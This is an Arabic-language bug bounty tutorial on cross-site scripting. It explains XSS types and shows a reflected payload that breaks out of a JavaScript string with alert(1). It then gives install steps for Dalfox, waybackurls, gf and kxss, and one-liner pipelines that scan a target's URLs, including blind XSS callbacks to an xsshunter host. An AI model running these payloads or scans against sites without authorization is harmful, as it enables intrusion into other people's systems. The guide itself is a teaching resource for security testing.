Cross-Site Scripting (XSS) هو نوع من هجمات الحقن, حيث يتم حقن البرامج النصية الضارة في مواقع الويب. هناك ثلاثة أنواع من هجوم XSS
عندك براميتر بيطبع محتواة فى الصفحة فا ممكن تضيف html tags ومنها تقدر تنفذ جافا سكريبت (ٍٍْXSS)
reflected الفكرة ببساطة ان البايلود بتاعك بيتم تخزينة على عكس فا النوع اعلى من التاني عشان ممكن يتنفذ على اى حد منغير ما تبعت حاجة لى المستخدم زى مكان كومنتس او اسم للمستخدم
نوع من XSS يحتوي على حمولات موجودة في DOM بدلاً من كود HTML.
http://vuln.attack/play.php?parameter=REFLECT
--
var flag_open = '0';
var feedid = '';
var link_url = "REFLECT";
var url_a = 'play.php';
فا ممكن تطلع برة وتضيف البايلود بتاعك
http://vuln.attack/play.php?parameter=REFLECT";alert(1)//
--
var flag_open = '0';
var feedid = '';
var link_url = "REFLECT";alert(1)//";
var url_a = 'play.php';
طبعا فيها اكتر من طريقة والموضوع كبير شوية فا ممكن تلقى نظرة على Chrom Dev Tools by Tomnomnom
وجرب تحل Google FireRang XSS
اولا نستخدم Dalfox, WaybackURL, GF Patterns اول حاجة هنحتاج نثبت الادوات دي وقبل الادوات اهم شئ انك تثبت لغة البرمجة ذات نفسها الي الادوات دي بتشتغل بيها الا وهي لغة الGO
sudo apt install -y golang
export GOROOT=/usr/lib/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
source .bashrc
ولو عايز تشو فيديو علي السريع بيشرح تثبت لغة الGO ممكن تشوف الفيديو دا اضفط هنا
بعد كدا هنثبت اول اداة وهي DalFox لو انت شغال علي اوبونتو يبقا سهل انك تثبتها كدا علي طول من Snap
$ sudo snap install dalfox
او لو انت ثبت الجو زي مااحنا قولنا يبقا تثبتها كدا علي طول
go get -u github.com/hahwul/dalfox
ثاني اداة هتتثبت كدا سهل جدا بعد اما ثبتنا الجو طبعا
go get github.com/tomnomnom/waybackurls
ثالث اداة بالاحتياجات الخاصة بيها وهي اداة GF التثبيت بتاعها هكذا جو بردو هنا احنا هنثبت الاداة الاول
go get -u github.com/tomnomnom/gf
echo 'source $GOPATH/src/github.com/tomnomnom/gf/gf-completion.bash' >> ~/.bashrc
source ~/.bashrc
بعد كدا في شوية Patterns او احتياجات الي هي الاداة هتشتغل بيهم وهنثبتهم كالاتي اول حاجة هنعمل ملف نحطهم فيه ثانيا هننفل بعض الPatterns الخاصة بTomnomnom وهنحمل كمان شوية من ريبو تانية بردو
mkdir ~/.gf
cp -r $GOPATH/src/github.com/tomnomnom/gf/examples ~/.gf
cd ~/
git clone https://github.com/1ndianl33t/Gf-Patterns
mv ~/Gf-Patterns/*.json ~/.gf
تمام كدا كل الي محتاجينه اتثبت علشان نعمل Automate لبعض الثغرات منهم الي بنتكلم عنها هنا وهي XSS
هذة بعض الاوامر التي ممكن تستخدمها في الXSS زي ماقولنا
echo "target.com"| waybackurls |gf xss |dalfox pipe --blind youusername.xss.ht
هنا انصحك تستخدمها في سيشن تانية وافضل انك تستخدمها في tmux tool وهنا بردو لازم يكون معاك اكونت علي xsshunter سهل انك تعمل اكونت من هنا
https://xsshunter.com/app وبعد اما تعمل اكونت غير youusername.xss.ht للصب الخاص بيك انت ثاني طريقة وهي هنستخدم فيها kxss
اول حاجة هنحملها من الجيت هاب هكذا وهندخل علي الفولدر الي اتحمل دا وهتلاقي جواه ادوات كثيرة هندخل جوا فولدر kxss ونعملها BUILD وهننقلها للbinary directory
git clone https://github.com/tomnomnom/hacks
cd hacks/kxss
go build
cp kxss /usr/bin
خلاص كدا ثبتناها ندخل بقا علي الكوماند الجاي وهو هنعمل بيه Automate لاننا نلاقي RXSS من خلال الادوات الي فات بردو بس بردون DalFox
echo 'target.com'| waybackurls | grep -v "png\|jpg\|css\|js\|gif\|txt\|pdf" | grep "="|httprobe |kxss|tee kxss.txt
اداة httprobe هتلاقيها هنا https://github.com/tomnomnom/httprobe
وبعد اما تشغل الكوماند الي فوق هيجرب بعض الcharcters في البرامترز ولو لقي في برامتر بيقبلهم هيقولك وفي الاخر هيحفظهملك في file
واخرا وليس اخرا هنقف لهنا لو عندك اي اضافة اعمل pull request وضيفها وبردو انا شغال لو في حاجة جديدة هضيفها باذن الله
وهنا هتلاقي في بعض الملفات هتفيدك في بعض الانواع المختلفة من الXSS
Files
Payload ليستة
xsspayloads.txt